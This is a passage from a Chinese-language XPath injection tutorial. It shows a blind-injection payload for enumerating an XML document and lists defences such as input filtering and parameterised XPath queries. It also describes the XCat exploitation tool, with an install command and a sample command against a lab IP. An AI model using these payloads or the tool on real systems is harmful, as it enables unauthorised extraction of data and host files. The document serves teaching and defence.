' or substring(name(parent::*[position()=1]),1,1)='u
返回结果为 “Alice”,就说明整个 xml 文档的根节点的第一个字母是 “u”,反之如果什么都没有返回,则说明根节点的第一个字母不是 “u”。以此类推,我们就可以历遍整个 xml 文档了。这也是 xml和其他数据库相比最大的威胁所在了,因为它没有访问控制和身份验证。
0x15 xpath防御
1. 数据提交到服务器上端,在服务端正式处理这批数据之前,对提交数据的合法性进行验证。
2. 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串,如过滤[] ‘ “ and or 等全部过滤,像单双引号这类,可以对这类特殊字符进行编码转换或替换
3. 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息或者用统一的报错页面代替(如updataxml()这类)
参数化XPath查询,将需要构建的XPath查询表达式,以变量的形式表示,变量不是可以执行的脚本。。如下代码可以通过创建保存查询的外部文件使查询参数化:
declare variable $loginID as xs:string external;
declare variable $password as xs:string external;
//users/user[@loginID=$loginID and@password= $password]
4. 通过MD5、SSL等加密算法,对于数据敏感信息和在数据传输过程中加密,即使某些非法用户通过非法手法获取数据包,看到的也是加密后的信息。 总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量。
5. 验证是否包含特定的 XPath 函数,可以过滤掉一些 XPath 函数,以提高安全性,当然了不能以牺牲用户体验或影响用户正常使用为前提。
总结下就是:限制提交非法字符,对输入内容严格检查过滤,参数化XPath查询的变量
0x16 xpath工具
1.Firebug
2.XCat
XCat是一个用来利用XPath盲注的命令行程序。它可以用来检索正在被易受攻击的XPath查询处理的整个XML文档,读取主机文件系统上的任意文件,并利用无限制的HTTP请求使服务器直接向xcat发送数据(OOB带外通信)
Xcat是python的命令行程序利用Xpath的注入漏洞在Web应用中检索XML文档,下载地址:https://github.com/orf/xcat
使用说明:http://xcat.readthedocs.io/en/latest/#about-xcat
python3.4.1环境:
pip install xcat
常用命令读取xml文件:
xcat.py --method=GET --public-ip="192.168.91.139" http://192 .168.91.139/xml/example2.php name=hacker name "Hello hacker" run retrieve
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">